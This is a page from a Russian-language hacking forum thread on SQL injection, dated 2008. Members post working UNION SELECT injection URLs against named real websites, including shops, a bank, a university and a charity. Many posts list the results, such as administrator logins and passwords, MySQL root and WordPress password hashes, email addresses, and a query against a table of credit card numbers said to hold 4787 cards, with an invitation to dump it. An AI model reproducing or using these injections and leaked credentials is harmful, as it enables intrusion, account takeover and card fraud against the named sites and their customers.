SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 342 of 798
  1. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Четвёртая ветка, шоп.

    http://www.worldfolkart.org/product.php?id=-2423'+union+select+1,2,3,concat_ws(0x3A3a,id,password,username,email),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+users/*&cat_id=46&sub_id=312

    1::flash62::wes::[email protected]

    Логинимся тут вроде
    http://www.worldfolkart.org/cart_account.php

    Картон )))

    http://www.worldfolkart.org/product.php?id=-2423'+union+select+1,2,3,concat_ws(0x3A3a,cc_num,cc_name,cc_type),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+orders/*&cat_id=46&sub_id=312

    по count 4787 штук в базе, without cvv. Можете дампить, я плохими делами не занимаюсь.
    Удачи )))
     
    #6821 ThreeD, 18 Nov 2008
    1 person likes this.
  2. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Инъекция:
    Инфо:
    Структура:
    Code:
    categories:
   u_id
   cat_id
   cat_name
   cat_parent
   cat_descr

comm_members_list:
   comm_id
   u_id
   u_status
   comm_name

comments:
   comm_id
   comm_parent_id
   comm_parent_type
   comm_date
   comm_header
   comm_content
   comm_autor


    Инъекция:
    Инфо:
    Структуру лень раскрывать было...




    Инъекция:
    Инфо:
     
    #6822 Chaak, 18 Nov 2008
    Last edited: 18 Nov 2008
    4 people like this.
  3. Neoveneficus

    Neoveneficus Elder - Старейшина

    Joined:
    10 Apr 2008
    Messages:
    235
    Likes Received:
    126
    Reputations:
    23
    Code:
    [U][B]http://[COLOR=White]www.s7tour.ru[/COLOR]/hotel.php?country=-1+union+select+1,version()/*[/B][/U]

*** SQLBruter's report [ Tuesday 18th 0f November 2008 08:55:02 PM ] ***

[~] Names of tables bruteforce

http://www.s7tour.ru/hotel.php?country=-1 UNION SELECT 0,0 FROM hotel/*

http://www.s7tour.ru/hotel.php?country=-1 UNION SELECT 0,0 FROM news/*

http://www.s7tour.ru/hotel.php?country=-1 UNION SELECT 0,0 FROM poll_user/*
     
    #6823 Neoveneficus, 18 Nov 2008
  4. foopi

    foopi Member

    Joined:
    26 Oct 2008
    Messages:
    41
    Likes Received:
    20
    Reputations:
    5
    http://www.s7tour.ru/hotel.php?country=-1+UNION+SELECT+1,concat_ws(0x3a,username,userpass)+FROM+poll_user/*
     
    #6824 foopi, 18 Nov 2008
  5. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://irannag hme.com/viewalbums.php?artistId=-1+UNION%20SELECT%201,concat_ws(0x3a3a,username,password),3,4,5,6,7,8,9,10+from+users--

    http://mp3hunga ma.com/music/viewalbums.php?artistId=-5+UNION%20SELECT%201,concat_ws(0x3a3a,username,password,email),3,4,5,6,7,8,9,10+from+users--
     
    #6825 plutus, 19 Nov 2008
  6. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    https://www.keeperstop.com/pages.php?id=7+union+select+1,2,3,version(),5,6,7/*

    5.0.44-log

    Таблица registrations ;)
     
    #6826 ThreeD, 19 Nov 2008
    1 person likes this.
  7. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    http://www.chicgemsetc.com/press_article.php?id=-21+union+select+1,2,3,4,5,version(),7,8,9--

    5.0.67-log

    Ювелирка вроде.
     
    #6827 ThreeD, 19 Nov 2008
    2 people like this.
  8. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Инъекция:
    Code:
    DB Version - [B]5.0.51a-log[/B]
DB User    - [B]charity_charity@localhost[/B]
DB Name    - [B]charity_charity[/B]
    Таблицы:
    Таблица beg_users:
    Таблица beg_manager:
    Таблица beg_unwelcome:

    Только что-то пароли не подходят :(

    Email:
    Пароль:
     
    #6828 Chaak, 19 Nov 2008
    3 people like this.
  9. peonix

    peonix New Member

    Joined:
    8 Nov 2008
    Messages:
    20
    Likes Received:
    2
    Reputations:
    -1
    http://www.a-shop.ru/product_info.php?products_id=-1'+union+select+concat(username,char(58),password)+from+administrators/*

    http://www.a-shop.ru/admin
    bigmike : bigdent
     
    #6829 peonix, 19 Nov 2008
    1 person likes this.
  10. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Ещё одна ювелирка вроде.

    http://www.atlasjewellery.com/enquiry.php?id=-147+union+select+1,2,3,4,5,6,version()/*

    5.0.41-community-log
     
    #6830 ThreeD, 20 Nov 2008
    Last edited by a moderator: 26 Nov 2008
    1 person likes this.
  11. Sindicat

    Sindicat New Member

    Joined:
    14 Nov 2008
    Messages:
    12
    Likes Received:
    3
    Reputations:
    0
    Красивый сайт нет слов ))

    http://lineage2-rmt.com/news.php?id=-25+union+select+1,concat_ws(0x3a,table_schema,table_name),3,4+from+information_schema.tables+limit+351,1--


    http://lineage2-rmt.com/news.php?id=-25+union+select+1,concat(user_login,0x3a,user_pass,char(32,32),user_nicename,char(32,32),user_email),3,4+from+asandcom_wordpress.wp_users+limit+1,1--

    admin:$P$BkKicvsTytFhHOXTNGhYXCg25CvccO. admin [email protected]

    zg:$P$BuYAHnmiu7Hx2ULVXEx1mMR8IyaSav/ zg [email protected]
     
    #6831 Sindicat, 20 Nov 2008
    2 people like this.
  12. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    банк..
    компания.. пасс:a3xx-100

    муз школа..
     
    #6832 sabe, 20 Nov 2008
    Last edited: 20 Nov 2008
    2 people like this.
  13. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Ещё один банк.

    http://www.vrlknowledgebank.com/reportinfo.php?id=-66+union+select+1,2,3,4,5,6,7,8,9,10,11,convert(concat_ws(0x3A3a,user,password)+using+latin1),13,14,15,16,17,18,19,20,21,22,23+from+mysql.user/*&page=3

    root::297735bc666480a3::20To10
     
    #6833 ThreeD, 20 Nov 2008
    2 people like this.
  14. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    http://www.hoys.co.uk/shopping/exhibitor-view.php?id=-204+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15--

    Продолжаем тему шоппинга в сети =)

    5.0.51a
     
    #6834 ThreeD, 20 Nov 2008
    1 person likes this.
  15. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    регионалки...пр5 и пр3

    Database name: cms_uvirtual
    Version: 4.0.21
    User name: [email protected]


    Database name: corporin_acg
    Version: 4.1.22-standard
    User name: corporin_impacto@localhost
     
    #6835 $n@ke, 20 Nov 2008
    2 people like this.
  16. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    1 edu, лень найденные на компе искать... на днях поболее выложу
    Code:
    http://soa.syr.edu/index.php?id=-4512+union+select+1,2,concat(user,0x3a,password,0x3a,host,0x3a,file_priv),4,5,6,7,8,9,10,11,12,13+from+mysql.user+limit+0,1--
    root:*430A4383A430D0DB40E90432B769B148BB9765D2:localhost:Y
     
    #6836 Iceangel_, 20 Nov 2008
    4 people like this.
  17. Sindicat

    Sindicat New Member

    Joined:
    14 Nov 2008
    Messages:
    12
    Likes Received:
    3
    Reputations:
    0
    http://top.yason.com.ua

    Code:
    http://top.yason.com.ua/kom.php?id=1+union+select+1,concat(login,0x3a,password),3,4,5,6+from+yasonua_top.users--
     
    #6837 Sindicat, 20 Nov 2008
    1 person likes this.
  18. Hero1n

    Hero1n Member

    Joined:
    11 Nov 2008
    Messages:
    9
    Likes Received:
    6
    Reputations:
    1
    Code:
    http://www.orby.es/index.php?id=-33+union+select+1,2,3,version(),5,6,7/*
http://www.plataformarefineriano.es/index.php?id=-466+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
http://www.bomberosdeasturias.es/index.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9/*
http://extremadura.cnt.es/index.php?id=-1517+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
http://www.fedemotocyl.es/index.php?id=-154+union+select+1,2,3,4,version(),6,7,8,9,10,11/*
http://www.casino-online-fr.com/es/id.php?ID=-1398+union+select+1,2,version(),4,5,6,7,8,9,10,11/*
http://www.7casinoonline.com/it/es/id.php?ID=-1405+union+select+1,2,version(),4,5,6,7,8,9,10,11/*
http://www.grandscasinos.com/es/id.php?ID=-1513+union+select+1,2,version(),4,5,6,7,8,9,10,11/*
http://www.casino-fr-bonus.com/es/id.php?ID=-1414+union+select+1,2,version(),4,5,6,7,8,9,10,11/*
    Code:
    http://www.hamo.es/cat/news.php?id=-10+union+select+1,2,3,4,concat(login,char(58),password),6,7,8,9+from+usuarios/*
    hamo:se73rXKXniZMM
    Админки не нашёл :(
     
    #6838 Hero1n, 20 Nov 2008
  19. Hero1n

    Hero1n Member

    Joined:
    11 Nov 2008
    Messages:
    9
    Likes Received:
    6
    Reputations:
    1
    ws_users

    user_login
    user_pass
     
    #6839 Hero1n, 20 Nov 2008
  20. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Hero1n
    Там пятая версия,и таблицы подбирать не надо =) Кому надо,тот сдампит.
     
    #6840 ThreeD, 20 Nov 2008
(You must log in or sign up to post here.)
Page 342 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.